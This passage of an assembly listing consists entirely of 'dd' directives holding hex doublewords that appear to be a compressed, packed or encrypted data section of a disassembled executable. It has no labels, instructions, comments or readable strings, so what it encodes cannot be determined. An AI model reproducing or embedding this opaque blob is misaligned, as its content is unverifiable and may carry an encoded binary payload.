		dd 7D08FFA3h, 331668F5h, 306CA1F3h, 6F32D9D8h, 0FE0DA0FCh
		dd 6D8DFFFFh, 24358B94h, 0D77B409Dh, 60C160DEh,	570C4803h
		dd 0FF5153BDh, 5FC71FD6h, 0B78DFFFAh, 95B3236h,	8B0E0850h
		dd 0EFB0FB40h, 0A48320B3h, 0F8946C88h, 1500FDBFh, 0A4348FEh
		dd 483FB4DDh, 43798010h, 86096A7h, 5BFF0BF4h, 0D881B63Dh
		dd 65647880h, 129870FBh, 12BDD142h, 6FE37D2Fh, 38FC7C54h
		dd 36E43072h, 2BED158Bh, 146814E8h, 0FADFFC5Bh,	140D9F6Fh
		dd 51A786ACh, 7F7C9569h, 0E92AFF72h, 0C6FF77FDh, 2BE242FFh
		dd 86D4476h, 0F13F1B14h, 0A3213755h, 5BA2FF40h,	0FFFF52FCh
		dd 0D4F6BDh, 5649A109h,	974B34EAh, 3BD555BEh, 10303409h
		dd 0F0BF336Bh, 0CBB0BFFh, 377F6BE2h, 0C73B9157h, 8886D26Ch
		dd 7F83780Dh, 0FFFFF435h, 1958FFFFh, 0F67AA3E9h, 41C4682Fh
		dd 0D25BE85Fh, 893508D6h, 6AC774C5h, 416A7B04h,	0C204A0Bh
		dd 2FFF5795h, 5219FFFCh, 286414B4h, 6C4F1240h, 57D81FB5h
		dd 4E839BFFh, 6A897A41h, 420BBD1Dh, 0F4A97E95h,	56205FFh
		dd 0B60C7AF4h, 32925F79h, 0BFFFFFFFh, 0F910337Bh, 0D2612938h
		dd 37A1A2Dh, 0F95943C0h, 0C3C06912h, 39C7037Dh,	96FD3084h
		dd 0B7FF895Ah, 840FEDAh, 0B0776E16h, 7B4AEB02h,	0CFFB8B82h
		dd 79D82D10h, 0BFFFE769h, 0C79D6C4h, 60943F8Ch,	7593245h
		dd 7000978Dh, 78DC4B0Ah, 0E2DFFC5Bh, 58E6FA69h,	0CF2B6143h
		dd 0C1FA0CB6h, 10E3E25Fh, 0D2FFFFF8h, 83D2487Dh, 8D42EC88h
		dd 0D740BE90h, 102516D5h
		dd 0C713EF07h, 0DFF0FC40h, 8D3712E8h, 4A6FFB9h,	0C083AC7h
		dd 0F552067Eh, 0D28EE97Fh, 66B86B16h, 9BE35AFBh, 4F8D33A2h
		dd 0BFFFF49h, 0C0B9E8FCh, 898CD97h, 9E644196h, 8D560044h
		dd 0BCF1F8FFh, 468A2D9Eh, 0FFC6FFFFh, 0F6C88A43h, 0E0DE3102h
		dd 4318A886h, 478093Eh,	0E35B5060h, 0F7EA904Dh,	6D121D2h
		dd 0E264F16Fh, 61BD0D5Fh, 0F5260C54h, 0BE97FF52h, 0C7112BACh
		dd 0CD51E40Eh, 88EAC117h, 0CA59215Bh, 0F12FFFB0h, 4036FCFFh
		dd 49E6B685h, 1F8BD203h, 11D8A289h, 558E2E10h, 1C3F61Dh
		dd 42F8006Fh, 32DDF5Eh,	0FF35145h, 0FFFF3B8Fh, 0C1311BFFh
		dd 0A156E0F9h, 664904C5h, 6763542h, 895DAD97h, 5F8B07E5h
		dd 83435FDBh, 0FFFFFFFFh, 9069EB64h, 0F8631AF9h, 0A16C01DCh
		dd 26906793h, 1CE0261Fh, 0B5D243BAh, 84F90DFh, 0D0FD894Dh
		dd 0FFF1BFFFh, 208F6C2h, 1E79097Fh, 7601CE2Bh, 3376A274h
		dd 7C0984A5h, 4AAEFEDDh, 0FFFFFFC1h, 4F04FFFFh,	473FFF83h
		dd 5FEAFC31h, 5374358h,	89FB1C74h, 963F5BAFh, 8B5ADADh
		dd 414B3F05h, 0FFFF4B59h, 653C56EDh, 7570059h, 9659E413h
		dd 1C07FFA6h, 5BBDCF13h, 0FC6E0D6Bh, 0B338FFFFh, 1B20EB11h
		dd 7490D8B9h, 0B4844F38h, 0A3C33616h, 1923E321h, 0FDAE6E98h
		dd 38DFFFFFh, 0FCD9733Fh, 468D11DBh, 5B5B1D1h, 14104279h
		dd 0E05B3CF8h, 6005AFF0h, 0FFFAE606h, 2FC21BFFh, 0ADB78647h
		dd 5929C75Bh, 364B214Eh, 0A9FC335Ch, 0F16C1CE7h, 0FFFFFFC1h
		dd 704E73B7h, 0D213393Fh, 0EB4301DBh, 808EF65Eh, 0DFC1E18h
		dd 1820B10Ah, 995A4C1Ch, 0FFFE0DFFh, 0FE4F9E49h, 0CB911ECEh
		dd 0E6F10E0h, 15784E4Ch, 6A6C0684h, 775776Fh, 4BFFFA97h
		dd 8776861h, 3896B4Fh, 0F606059h, 0B77010D1h, 0D2FB2398h
		dd 787CFFFFh, 4A798BF1h, 4B5F7B89h, 879A6904h, 656D519h
		dd 67C8CF99h, 0FFED06A4h, 0BFCE7FFFh, 0ED6039EFh, 0FCE233Ch
		dd 24811C99h, 56793093h, 3AA18F4Eh, 3F10B974h, 0FFFFFFFFh
		dd 3383FC18h, 269DCB56h, 8C34FAA1h, 36A5895Bh, 175405CEh
		dd 0B49AF039h, 9B874750h, 0EA209C53h, 0FFFF4776h, 0B8D057Dh
		dd 62CE586Dh, 0A26983EEh, 1DA3BA15h, 53FDFFA3h,	7FFA3729h
		dd 0A57AC7E9h, 11EBD9F1h, 6C3BC649h, 8CB75771h,	0FB7FFE23h
		dd 0A10FFD6h, 0D80EC383h, 46AA97A1h, 7F75D885h,	5EC0D4E2h
		dd 0D9D92358h, 0F0BE9789h, 0BBEB5B75h, 7B544B2Ch, 3513A808h
		dd 0F6E3E772h, 259C7FFFh, 931A41Bh, 76F0311Bh, 15D452E6h
		dd 1156578Bh, 3E8068D0h, 7FFFE8DFh, 58EF6A11h, 0A96DEB68h
		dd 1EC4B79h, 38D0438Bh,	4EDE3DAEh, 0D1BF89E5h, 0A41DD5BFh
		dd 0FFFA0FABh, 611C2E6Fh, 1F8CDCFEh, 0F85F7C8Bh, 2344FFFFh
		dd 6D54E14Dh, 29768FF5h, 0EAA36ACh, 5A48385Bh, 0B90EA739h
		dd 8B165EE0h, 0FFFEDFFFh, 41168491h, 7169E7EBh,	0F7495DABh
		dd 0F260474Ch, 5ACDDC0Dh, 6A545894h, 0C9335F20h, 0DBFE2DFFh
		dd 4771DC5Dh, 5422C985h, 910AFCF9h, 6D8FC4F1h, 7E239C18h
		dd 0F12FF8DFh, 0E4F73B0Fh, 10FB984h, 4A884A01h,	0D11B105Ch
		dd 0FC2FE969h, 0E67DE37Fh, 373847CFh, 711CDFDAh, 5C23ECE5h
		dd 92294488h, 0FFE2750Fh, 26FB16FFh, 0F2EC3396h, 2CEB0B21h
		dd 98D6263Bh, 0C8CE245h, 0FFFFE12Dh, 0E746905Fh, 1231B95Ah
		dd 5B212A24h, 8B06E5B2h, 1667F822h, 2CED447Ah, 817F8ACBh
		dd 7F7A7FFFh, 30CB6CD3h, 8920974Ch, 0C18CE451h,	5E9734B6h
		dd 46290B97h, 0D5A25FFFh, 0CE6A9CBBh, 45337861h, 0EFB8C07Bh
		dd 0FCA23B09h, 1BFFFFD0h, 0B8D7A88Eh, 222EEE8Ch, 0F0099E0Dh
		dd 0B647AEAAh, 0BE16BCC9h, 0BFFFFFFFh, 9CC637FDh, 0B2114DA5h
		dd 11F20A89h, 0DE9DD4Ch, 3F07509h, 3212D5D1h, 0DDBF13D4h
		dd 0FF4B4216h, 210ED4BFh, 753E0FF1h, 611D3B1Ah,	866C588Dh
		dd 224B6Eh, 42FFFFF8h, 0C9466E90h, 428D36C5h, 0D8355F04h
		dd 684091E0h, 64766F30h, 0FF52FFF7h, 0C8982037h, 6C150A66h
		dd 0ED808D03h, 1AE02B32h, 316A50A1h, 0FC057E2Dh, 0A8145C31h
		dd 0A830785Fh, 0FF06B3B3h, 803612FFh, 54AF22D4h, 0A364DF43h
		dd 644AC337h, 2FED0A13h, 6E02DF5h, 945110C4h, 3DAD171Bh
		dd 5B807553h, 5520FF01h, 0FDAB7385h, 4C20EF06h,	0BF16F21h
		dd 0D0A91CAFh, 0C76DDF12h, 7BE40174h, 0F52FFFFFh, 51DB0D96h
		dd 0CF0374CCh, 0E1989D58h, 1596EC0Ch, 0F650C62h, 96F62897h
		dd 0FD5BFFFFh, 3D4B5B9Ah, 6BCB9E66h, 2A29FD09h,	307B23B5h
		dd 6D1B628Dh, 35CDA34h,	0A97FE02Bh, 5EB5DD0Bh, 2DBC3636h
		dd 0A1E6DF3h, 7FFFC2F8h, 0CD865C06h, 25BB1203h,	98141CEAh
		dd 0E29945D7h, 0BFEEBBF9h, 0FE02B176h, 1450050Ah, 0FFFF0186h
		dd 458AF46Fh, 24665957h, 0F7188696h, 0B3B01B7Bh, 0BCC34E5Bh
		dd 88C6EBEFh, 5FFF21F7h, 7FFAC052h, 2142D8DAh, 2660768h
		dd 9A34BB6Ah, 0FF80A6FFh, 8BAB2CCCh, 0B7C4AF6Dh, 18E5D3AAh
		dd 6FE10813h, 9FC0D7A2h, 2C35F014h, 1ECAA41Fh, 3EF9D030h
		dd 52FFFFFEh, 0C52C17C9h, 96C23919h, 569B0CA1h,	2B66AD3Ah
		dd 0E9E61830h, 8D8309F9h, 0D097FFC2h, 50AE0C80h, 52CB51A2h
		dd 0BA8762ECh, 0FFFF401Bh, 91D7FFFFh, 12140700h, 180214F9h
		dd 73D75CFAh, 0BDD0FF3Ch, 348C616h, 74D0E2C5h, 3BDB2416h
		dd 0FFFFBAD9h, 0F3802FFh, 283D066Ch, 0F63A89C3h, 0E6604460h
		dd 2C151059h, 7805BC7Bh, 0FC4B6984h, 4EE2A37Fh,	38A2E80h
		dd 6F0BA994h, 8EFBA950h, 0DFF5C6D9h, 0C62CFFF8h, 0A25EEF72h
		dd 991418A1h, 0A9F80FC8h, 0BB11F5E8h, 720CD11Fh, 0B12FFFF0h
		dd 781A000h, 0CE3BF57Eh, 0CC13A0C2h, 1055D055h,	897F6298h
		dd 16386FEDh, 5DA12758h, 0AE2DD245h, 314F1CD1h,	0FFFE9C94h
		dd 0C636FFFFh, 59749539h, 0DBC52378h, 3B08928Bh, 5D6D0C0h
		dd 681A1E43h, 0DF0B4BD0h, 6F01DE1Bh, 0D4BFFF13h, 68BDA2ADh
		dd 0A5F4685Eh, 0EF7025CDh, 754B61C1h, 1BFF2F54h, 4FD1FFFDh
		dd 4F68EC7Dh, 0AB9C11A2h, 0C62FECBEh, 607DB342h, 73595F8Fh
		dd 0FF81FF0Fh, 72F7FFEDh, 0DD468F1h, 0E58A0DECh, 0C6A071Bh
		dd 5454AA8Dh, 0EE267BD6h, 7FD6FFFCh, 399215F6h,	4D154808h
		dd 0FC0C5A5Bh, 0BDF556BBh, 881D392Fh, 6FB77EC1h, 85730A15h
		dd 10E6059Dh, 2B2DD0A2h, 0FF4BFFFFh, 0D60B9045h, 0D7E8EC8h
		dd 0C4643036h, 237EEFB2h, 0D3E066DAh, 0EE832674h, 0FFFF0A04h
		dd 753BFB7Fh, 0B8F872E4h, 742A1B82h, 33223E79h,	8ADD9B7Dh
		dd 2C57E58Dh, 68DAEBAFh, 0FFFF4920h, 9FBEFFFFh,	14B8EBDCh
		dd 685933E2h, 6B240F28h, 91049381h, 103E3D63h, 210D4769h
		dd 97892876h, 0FFA540FFh, 3F19FFFFh, 0B02C82D7h, 1808741Eh
		dd 209388ACh, 2E5400BCh, 623C7BA4h, 0A2107C70h,	0FFFFF52Fh
		dd 0F6072036h, 56010E23h, 447DFBB4h, 0B78AD52Dh, 0BC09305h
		dd 67F3E7FBh, 0FADF4BFFh, 9F3A9F6Ch, 0CA89C730h, 15B0750Bh
		dd 0C2736768h, 0A3A4C572h, 0E2DFFF89h, 0AC00957Ch, 860CAFC4h
		dd 0BB432BBBh, 0A8FD1C84h, 0AADF7014h, 0B0CD7FD4h, 177047C1h
		dd 0E84604B1h, 0BBB50A08h, 0FFF5BFFFh, 35036A55h, 2ECF8AA2h
		dd 0E236E608h, 5A631083h, 0D854A21h, 18ED0FD8h,	85DB144Eh
		dd 0BF8EFDBEh, 0FCFB81DBh, 2C5A0150h, 0BBE70337h, 0FFFF5E43h
		dd 0D7D1FFFFh, 1E90BD70h, 9C253355h, 230B000Fh,	0E5BE05ABh
		dd 0A9B906F8h, 5C68C23h, 0B52873ADh, 0FD6F9D6Bh, 1E6CFFFFh
		dd 475A2634h, 1400FB68h
		dd 41A85730h, 0B7B0EAAFh, 4300507Ah, 2ECC2FE2h,	0FFFFF8B7h
		dd 0C3A340B4h, 0ED0C3876h, 0BBC6033Bh, 0AA6EA346h, 735EA4B9h
		dd 0EEB58944h, 0FFFFEA5Eh, 0A1B200F4h, 0F4114211h, 8480392Bh
		dd 2706E686h, 10C807E1h, 0FF01A1AAh, 75A5F46Fh,	6C23ACFDh
		dd 29219966h, 0A86E0120h, 0CFD5376Dh, 0FFFFFFFFh, 0BB449F23h
		dd 0CFF46A33h, 44AD8530h, 1BE8203Dh, 9EEDFDC1h,	20B5043Dh
		dd 508DA6E9h, 0B00036FFh, 0FFFFFFFFh, 8D1AACDh,	1CB82555h
		dd 575DB18Ch, 906B7A53h, 1574E101h, 0AA751F76h,	4388CB78h
		dd 0B909A671h, 0FFFFF8B7h, 0F3D58DF4h, 0C3F9A314h, 0F875A40Bh
		dd 6F053D66h, 40ACB0Fh,	0B0A85690h, 0FFFFE2DFh,	0DADA6204h
		dd 0C667CA0h, 8A6EF79h,	84E833DFh, 26599035h, 0CF3D2004h
		dd 0FFD1BE97h, 40303CF3h, 3706050h, 0D0270D06h,	1950103Ch
		dd 0FC14567Eh, 0C19612ADh, 202D03F1h, 4143983Ch, 0DAD82FA3h
		dd 7F07A03Bh, 837FFFDAh, 0E3659BFFh, 8AB7402Bh,	45B12A56h
		dd 335B1703h, 79C2D9B1h, 8EF853A4h, 5A378287h, 0AAF35DCCh
		dd 50DCFDAh, 0F058FFFFh, 6B940816h, 32F059D0h, 15077335h
		dd 5BC75DBEh, 0FFFA37FFh, 833A660Ah, 0B35F21B8h, 3828588Eh
		dd 0FA5AC181h, 950FDFF1h, 0A937ADC0h, 0FFFFFFFCh, 320409DEh
		dd 6AC40057h, 5301AA10h, 28938DDh, 2D85240Bh, 658B9AEDh
		dd 95AFC6Bh, 5BFFA6E4h,	7665BFFh, 671FB2F5h, 53109363h
		dd 6690EAB1h, 0A0268C38h, 0FC406B9Ch, 6DB3A5A5h, 0F3FDA85h
		dd 0ACB4E8C9h, 77FFFFFFh, 0B85858D7h, 81711BA2h, 0C5968EECh
		dd 938B7A76h, 5A48589h,	0F8AF8806h, 0D1277295h,	0FF897FFFh
		dd 33809505h, 0B6DFB9B9h, 74963C7Ch, 0A0958C66h, 948D060Fh
		dd 1DB972FEh, 0B7FFFFFFh, 6C45F05Dh, 646D6865h,	98858F9Ch
		dd 2FD1F7B6h, 0ABACB5F5h, 9C4B0585h, 66C6B7BFh,	0FC6A17FFh
		dd 1B3D8B1h, 3005B589h,	0DB151F0Ah, 8C17506Ah, 2FFF80FDh
		dd 6D4AFFF0h, 0F9021173h, 5D0EC0Ah, 0D88E5D6Dh,	0FB802E53h
		dd 668C72C0h, 0FC2FCD73h, 12B6FF85h, 6A4CD4D4h,	214809D6h
		dd 0D0226D00h, 0AE1B0h,	0F101E32Fh, 4756FFFFh, 33A1D0A2h
		dd 1A342BDBh, 0A3C2140h, 0EFE247B9h, 0BA37D08Dh, 0D262BFC0h
		dd 0DA8C581h, 86D1903Fh, 0FF5D98B3h, 0FFFFFFD4h, 800EF2E0h
		dd 67A24561h, 68A42D76h, 74FF6C1Bh, 4E88322h, 0D041774h
		dd 0FFFF4845h, 0AD1CBFFFh, 0B8C9EC41h, 12059204h, 0B3CE956Dh
		dd 0AF11080Bh, 7EC4BDE2h, 0F05248E1h, 5E8D7555h, 85FE85F0h
		dd 7DD5FC1Ch, 0EA16B65Bh, 8D3BC702h, 0FF52107Eh, 0FFBA2E97h
		dd 60B8475Fh, 2B0CAE63h, 180C8AC6h, 0FFFFFFAFh,	754D43FFh
		dd 1D8E8DF7h, 0C027150Dh, 11ECA638h, 0DA8708E7h, 15134E41h
		dd 42FB64A3h, 1CC80DC1h, 0FFEA85F4h, 0F1709805h, 8591BC06h
		dd 967684CBh, 0FEE83EBFh, 6FDA8DFFh, 16EF17BEh,	31188488h
		dd 0DC1BA16Fh, 0C4F4723Ah, 0FFFC4BFFh, 85A7848Ah, 0B7FD6E0Fh
		dd 2B7420FFh, 0B6A45D8Dh, 3B0302C8h, 2B1677C8h,	0FFF06F5Bh
		dd 941E40C1h, 68A2430Dh, 0B13A1AF5h, 43F00670h,	6F8D43FCh
		dd 0D8D3D5BCh, 75AC6058h, 50649822h, 0FFC6516Dh, 46B9FFFFh
		dd 0A426C1C0h, 0A0172B90h, 15C1AC9Bh, 571E5750h, 19035331h
		dd 44A524ECh, 6FFFFFEAh, 0C06DEDF8h, 242424DCh,	4CB70FABh
		dd 0A8035463h, 791C9040h, 0E1BF7EDEh, 37EA101Dh, 8C8AF16Eh
		dd 12755305h, 0DE20D502h, 0FFDDC3ADh, 78DA5FFFh, 0C6352E8Ch
		dd 1D8A0884h, 0C1DECFEFh, 868D4DEBh, 0FF9F320Dh, 7E0AB1B7h
		dd 0BAD4FFE1h, 0A508295Ah, 150EBB80h, 3C637DEh,	0C0205A50h
		dd 21DFFFFFh, 0E5C0C77h, 20C280D1h, 28B6D9E6h, 0E10FAA2h
		dd 696DE020h, 0FFFFEAABh, 55A7BFFFh, 3B412BC6h,	0A1E364CFh
		dd 5D30B8D1h, 265B315Fh, 9C1CE897h, 4848C804h, 8F5B047h
		dd 0FFEA556Fh, 98A16DCFh, 0ADFC546Eh, 0DE1D7494h, 68773E6Bh
		dd 85FFFF6Fh, 8B319121h, 0C9821120h, 6AE00125h,	0C222230Dh
		dd 3B28DA85h, 0D5BEDD35h, 2D36FFFFh, 93E3F014h,	58C8568Dh
		dd 19FE810Fh, 0FEC50774h, 24A1C2C1h, 0FFF8DF89h, 2D8B0DB7h
		dd 0CE9925FAh, 0FB542A36h, 8EEB3F6Bh, 0DB79D3C3h, 17FF0D0Dh
		dd 9953FE0Ah, 23078B6h,	0B038A47Dh, 3BDE1DB1h, 0C71E75E7h
		dd 0FFFFFFFFh, 46350705h, 0F5A08C60h, 0FCFCD001h, 0D5AC0E63h
		dd 283CEBF6h, 5C22D8FDh, 29AD957Ah, 0FC16DBADh,	0FFFFFFB7h
		dd 97BC11F8h, 0EB1C29B5h, 20C63BC4h, 0F806B3C1h, 9F20D6C6h
		dd 1B60B446h, 0B4BC4CA0h, 0C4BFFFFFh, 579EA08Eh, 3BAE48A5h
		dd 0B6BE088h, 0C34F470Ah, 8DDCC5F7h, 6D389F72h,	0FFFFFFFFh
		dd 0B82DD48Ch, 5BEEDF90h, 91B836F5h, 30C0D677h,	0B20AF03Dh
		dd 72ED8FB9h, 0FDE381E7h, 0B7466D1h, 0FA97FFD1h, 0FC2C8BE9h
		dd 0C7B7E431h, 11643550h, 66047521h, 0FFFF1A48h, 0ACF3BFFFh
		dd 1A8B67BFh, 43170129h, 175B561Ch, 33F8E894h, 39D842D2h
		dd 0DD5FFC2Fh, 0C737C07h, 0FFFFFFFFh, 0EDF8860Fh, 85CF52EEh
		dd 608F8875h, 0E8AEFFBh, 0C20CC984h, 215546EEh,	0C98336FBh
		dd 134641A1h, 0FFFDBD5Bh, 17AEE86Eh, 30C96B46h,	0A0B18DE3h
		dd 0F03F6897h, 16242AEBh, 0FFFF8B7Fh, 23E3428h,	3437BBDDh
		dd 8AE030D4h, 81C8C80h,	14DBC44h, 0A1707510h, 0FFFFFEDFh
		dd 0EA76FE47h, 6A344647h, 0D1F13C33h, 3DE0E8B3h, 0AD4777h
		dd 972A8DC2h, 0FF6F97C7h, 0FFFFC6FFh, 43C770E1h, 96205E08h
		dd 4389066Ah, 8D10770Ch, 0BBCCDB89h, 665A4794h,	0A2B7318Bh
		dd 6641FFFFh, 40413089h, 0F3754A40h, 6922F38Bh,	0F9759F1Ah
		dd 0FFFFF26Bh, 3C3FFFFh, 0C106041Dh, 7E5BF676h,	534737Bh
		dd 381B34E5h, 0E0FEB91Eh, 0F8968A95h, 2C400808h, 0FFFF6CF9h
		dd 68D0FFFFh, 52548B91h, 0EA50EA63h, 800B5D3h, 0B2EB7B8Ch
		dd 0D1C0EB2h, 54CDD7E8h, 0AB46188Bh, 0FAB7CA01h, 0FC79FFFFh
		dd 0EE43F182h, 686814F6h, 0FFE04D83h, 3440FCFAh, 6B8CE928h
		dd 0E2DFD668h, 4608FFFFh, 89E4E530h, 99466787h,	577C859Eh
		dd 41B2C020h, 142BE9B3h, 2FFFB946h, 440AFFFCh, 52E9BFh
		dd 0A5F3FB8Bh, 44BF2383h, 2838CDB2h, 4F5B49E2h,	27FC6AD1h
		dd 0FFF1BFFFh, 13681CDCh, 2ADE9393h, 3D6846C2h,	69F6EDE6h
		dd 685E89E3h, 0FF073D5Ch, 0FFFFF3D7h, 270FFFFh,	4E296536h
		dd 5F6EA9Bh, 33DD6B8Bh,	70484C1Bh, 7C0ED43h, 791F51E3h
		dd 0CC4A308h, 7FF5C8A3h, 6F75D681h, 0F8B50F5Ah,	4C5A3C05h
		dd 0DD8C3F66h, 6EADFE25h, 6E450C7Bh, 19E8EB40h,	0B17DF63Dh
		dd 0FAB7FFFFh, 0FEF939D7h, 8888264Ch, 0E9186580h, 3E91A300h
		dd 5C1857B7h, 0E666881Bh, 0FFD4BFFFh, 2C86A3FFh, 13B664D2h
		dd 5F3AB8BBh, 0F513F6D2h, 0FC6EBFD7h, 1ABC30EBh, 897A5FFFh
		dd 25EBFF35h, 580E38DEh, 5335CE4Ch, 4104EB35h, 0C6FC72CCh
		dd 0D0DCFFFFh, 565B00E0h, 0B3EEF9DCh, 0FD6A8E92h, 599B6D10h
		dd 0D169584h, 0F12FE078h, 93A6E2Dh, 0EFFFD3FEh,	3B0ABC86h
		dd 0DFFF57C5h, 6F74FDBAh, 596B483Dh, 21E6B0CBh,	5E74119Bh
		dd 5A752839h, 2B17B80Dh, 16FFFE37h, 0AB13B371h,	9C35B6FFh
		dd 0AF20A0A6h, 8C648195h, 0FFFF4F0Ch, 0E4E6FFFFh, 2D386179h
		dd 6D44C011h, 40B668F6h, 952DC40Dh, 0EC3B1043h,	0CFCC9908h
		dd 0D012C72Bh, 0FFFF220Dh, 0D218FE97h, 0EBC04C2Dh, 0BEB54D5Ch
		dd 3D071ED4h, 0A88B6388h, 0AFF60A95h, 0A42A33C0h, 0FFFFFFFFh
		dd 7337FFD0h, 512FF736h
		dd 5B506336h, 88F87F81h, 7502568h, 0E9821EB5h, 39840B7Eh
		dd 50DCB86Fh, 0FAD16FFFh, 479E2EC8h, 0C9D3D604h, 8227087h
		dd 573F7877h, 0FFC084D4h, 19C2FFD6h, 35B5566Ah,	0DBE40E40h
		dd 0B80C5066h, 0B77C9FB4h, 0FFC1C0E4h, 5003BFFFh, 97B815Dh
		dd 258E038Bh, 831760E2h, 9A0ADF7Bh, 61E2DB5Fh, 0FFFFC30Fh
		dd 0D8D4BFFFh, 7005E13Ah, 4C7B9882h, 88CD8513h,	2575AE92h
		dd 58898E7Fh, 5AA0B804h, 54B9188h, 0AB7FFFFFh, 2537CB5Bh
		dd 0B2309333h, 0A7D40728h, 70295780h, 360F9093h, 391B43E0h
		dd 0FFFFFFE0h, 59EF1971h, 7802D1C5h, 6F6890C8h,	790B8E53h
		dd 3ECB00C2h, 979ACF88h, 0FF46F093h, 965FF8DFh,	70161C7Eh
		dd 4C97C6Ch, 468DA112h,	0A39F016Ch, 743B0B28h, 0FD2F38A5h
		dd 1FBDFFFFh, 4D726E58h, 502AC1EBh, 19462A03h, 0C1E75264h
		dd 0E8805B12h, 0BD165008h, 0FE0097F0h, 0CE621880h, 6CE8518Dh
		dd 0EB609A59h, 0FFFEA842h, 0B7B72F16h, 3E59508h, 5E3966F0h
		dd 0FB405BA3h, 8D1446FFh, 0FFFFF07Ch, 23768A8Dh, 0E8906857h
		dd 6A75118h, 7C9EEC6Dh,	43061A0Eh, 0FFFF282Eh, 14512FFFh
		dd 90E3D3CDh, 5FF6F8F8h, 652B755Dh, 685A697Ch, 0B930D69Bh
		dd 0A142140Dh, 0BFFF1078h, 6AD5FA35h, 0B7DB3680h, 3074158Fh
		dd 909717F7h, 26C7F880h, 0D1BFA868h, 7C5DFC5Bh,	61AF0577h
		dd 37C323C1h, 88249828h, 0FFFF7447h, 5619FFFFh,	0A0AC421Dh
		dd 7BD098A5h, 0B0A10408h, 656A6091h, 48B77659h,	0B8FC928Eh
		dd 5733C19h, 0E85E6639h, 7634FFFFh, 0A96415FFh,	1BFBE207h
		dd 0C99CF450h, 200F310Ah, 7326AA70h, 0FFEDF03Fh, 29FC1B37h
		dd 42DFBDF1h, 0FF190DBDh, 911F2EA1h, 0DC34CD9Eh, 6FFFFFFFh
		dd 0CDE97C93h, 43602171h, 0BDA83E3Ah, 0DEE54DFCh, 46C77E81h
		dd 6C29885Ch, 0D087227Eh, 6FFE17Fh, 26452FB1h, 56DFE1Dh
		dd 0DE1D2454h, 778689D3h, 0EA5FCDE2h, 0EF7CFFFFh, 0FC0F15E4h
		dd 86C67035h, 8EB7329Dh, 4B0643F8h, 0C98C7E01h,	0A37F700Bh
		dd 50254BD5h, 0F7A4BA7Ch, 0A1526C18h, 0FFFFDA44h, 3DC0FC1Bh
		dd 6CAE0B82h, 425E30DCh, 0B5D874B3h, 4F014885h,	0ABA457ADh
		dd 0FE2D4238h, 9EFBFFFFh, 0B3FAF878h, 684E37F9h, 8A65289Eh
		dd 0DF2E56D4h, 0F1DB30B2h, 0FFFF4611h, 2956FFA5h, 82C5F828h
		dd 13D102E8h, 2B5C1EA5h, 24512432h, 5823FF4Eh, 980015Bh
		dd 0E17FFFF0h, 941BE9BBh, 1778695Dh, 0E12A725Fh, 4863BC53h
		dd 3C1051D3h, 7FF86808h, 51E72FA9h, 79116022h, 3A8A5701h
		dd 13624B44h, 2FB21321h, 9C17B7FDh, 732342Ch, 48443C32h
		dd 13876489h, 9C109CAEh, 0A25FFFFh, 687EC30Ch, 91570255h
		dd 0FF064C11h, 0C446698h, 6FFF76E1h, 857CFFF1h,	92AC759Ah
		dd 0A06C3BD9h, 8FB45979h, 74108ED5h, 0C7C3F14h,	0FFFC3F83h
		dd 824BFC6Fh, 44C72070h, 24268827h, 9E111CE1h, 0C7FFCC5h
		dd 0BBE41A4h, 50BF570Ch, 3D3B1B89h, 0E5438D34h,	300947F5h
		dd 0FFFFFFFFh, 684B5043h, 0F0CEE8E8h, 685604FBh, 0F0A307DCh
		dd 91910CA6h, 0F4D09193h, 3278F8C8h, 21AC12BDh,	0FFFFFFFFh
		dd 65A30DA5h, 0FDF4AD7Bh, 8281306h, 86D3B10Dh, 104F891h
		dd 4250A124h, 0A712BF1Ch, 38D404A1h, 0FE22DFFFh, 35EB83AEh
		dd 973D9A4Dh, 9275A32Bh, 0BC213859h, 0D7507DCCh, 0E05FFF56h
		dd 54ED884Eh, 1592A5BBh, 59D80C3Eh, 0A3202AACh,	1BFF1661h
		dd 5CF218FCh, 6F3CF4F2h, 73998878h, 0D128126Ch,	0FFF16FD8h
		dd 878574FFh, 0C11F481Bh, 0A782BAF0h, 0E3006423h, 34C44874h
		dd 1B902D9Eh, 0FFFF02FEh, 0C1107F3h, 5E6720E8h,	0CB4CA5Fh
		dd 0C9B215A8h, 0D86D0816h, 2F778101h, 0A7A5FFFDh, 413A09BAh
		dd 0EB580A38h, 9FE575h,	5D997903h, 6FFFC6F9h, 0FA45F42Fh
		dd 0AFCC874h, 0F909F86Eh, 82D8A14h, 511A7107h, 0FFFFB185h
		dd 2778FE37h, 905B13A7h, 86F4AA07h, 38109720h, 0A8F9F445h
		dd 5F25B5B5h, 232B7614h, 0FFFDBFFFh, 0C1C820Ch,	85056A0Ch
		dd 0F9C5BFA3h, 815A8370h, 2E8DDD38h, 63920119h,	0BB561423h
		dd 0FFFFFFFFh, 0A20E1A8h, 75F14F94h, 0EB86CD7Dh, 0C0535338h
		dd 0E268F478h, 0E06DFA53h, 0B788152Ch, 0EB253D89h, 0D0BFC4BCh
		dd 0F0F4EE15h, 7578F744h, 0E6FF170Ah, 0FFFF05EDh, 39781BC6h
		dd 8060145Dh, 38496A14h, 55AD2C18h, 0CB0C56F1h,	0FFFFF675h
		dd 0FF0FE2Dh, 0FB7CB7A8h, 3B488214h, 40017D05h,	6C2FA189h
		dd 0C986D05Dh, 0FFA5AB84h, 0C30CC2C2h, 0CD918A61h, 1CB3310h
		dd 0C90D2045h, 0D4B16FFFh, 456AD6AEh, 8D99AD40h, 0E884A920h
		dd 0D0FA2417h, 0FFFFFD5Bh, 146B8688h, 0C50489C4h, 7A386883h
		dd 68A7507Bh, 37FDDF8Ch, 43E0459Bh, 168378DFh, 0F758FDB9h
		dd 8D3737F7h, 0FD6F3F44h, 0EF40FFFFh, 0A408859Ah, 0AAF91304h
		dd 13C48B4Ch, 9F6E20B4h, 0D441C71Ch, 0B60A0C3Dh, 0FFFFFFD6h
		dd 0A1C10A11h, 2012DB95h, 0BB6DB1BFh, 94F46FDAh, 0F46CF45Dh
		dd 9C193D50h, 0FF6511FBh, 0F4FFFD6Fh, 35997174h, 6BE3F4F3h
		dd 4000E2D4h, 0A2E75A69h, 877B209Ah, 23A1F1C8h,	0FE2DFFC6h
		dd 0C1A68ABEh, 0E893F78Fh, 747B5BB6h, 0E71C4A29h, 0FFD4DB4Dh
		dd 6EFFFF42h, 7CA78F08h, 3818021Ch, 3076DD9h, 7EC57B59h
		dd 8327BD45h, 0FFFFCF2Ch, 39F1FADFh, 0D0F41609h, 0F33BFCE0h
		dd 6C76A74h, 0C01AEBB1h, 18D40CEAh, 4128D8F1h, 0FFFE25D1h
